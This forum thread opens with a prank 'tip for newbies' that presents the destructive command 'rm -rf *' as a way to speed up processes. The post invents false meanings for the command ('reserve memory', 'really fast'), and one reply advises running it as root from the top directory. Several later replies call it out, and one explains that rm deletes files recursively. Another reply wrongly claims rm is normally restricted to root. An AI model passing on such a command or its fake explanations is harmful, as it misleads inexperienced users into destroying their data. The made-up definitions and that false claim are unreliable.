UNIX tips for newbies: #211 -- Speeding up your processes

[TXlib]

So your SysAdmin won't increase the priority of your processes? Well, there's a workaround:

just type the following at the command prompt:

rm -rf *

rm is for "reserve memory";
-rf designates you want "really fast" (cache) memory
* indicates that you are doing so for all your processes.

Do this, and you can expect increased performance.

As a side benefit, you will also get more usable disk space.

[GAspnes]

1. not funny

because you *know* someone will try it.

[TXlib]

3. I am channelling the BOfH

[brokensymmetry]

2. Now is that nice?

Besides, it works best if you're at the top level directory and have root privileges. :evilgrin:

[Nlighten1]

4. Gotta love those noob jokes. Say do you have a box of grid squares?

Or maybe you can press alt+f4 for me.

[slackmaster]

5. That's just plain evil

[TXlib]

7. MWUH HA HA HA HA HA HA!

:evilgrin:

[JohnyCanuck]

6. Just in case you are tempted to try it. Check here first.

http://unix.about.com/library/glossary/bldef-cmd-rm.htm

[TXlib]

9. Spoil sport!

:P

[DBoon]

8. Wrong!!

Everyone knows to try the "go faster" button on your keyboard.

My sysadmin just glued one in the other day - works fine!

[SoDesuKa]

10. Snobs Love UNIX

Snobs love UNIX because it makes them feel superior. Every UNIX maven I ever met had self-esteem issues. UNIX helps them cope.

[TXlib]

12. Ignoramuses love broad generalisations

[Commie Pinko Dirtbag]

17. Hear hear

http://www.democraticunderground.com/discuss/duboard.php?az=view_all&address=105x1198440

[cheezus]

16. you must not know many unix users

who are out of their teen years.

[Village Idiot]

11. HEEHEEHEEHEEHEEHEE

HOHOHOHAHAHAHAHAHA....ahem

Time to change.

Damn....."really fast"....heeheeheeheehohohohohohhahahahahaha!!!!!!!

[Misunderestimator]

13. Funny... n/t

edit to clarify that that was sarcastic.

[ladjf]

14. This is a bad joke.

In case you aren't on to it,

rm is the command for remove as in delete files

-r means delete all files throughout the directory path you are in.

Not trying to be a smartass. But, don't think it's a good idea to spread confusion and try to cause mischief.

[tjwash]

15. Not funny at all...

and the remove recursive command, is usually put on the ACL so only root or admin designated users can run it. Although it is really fun to do on a trash system...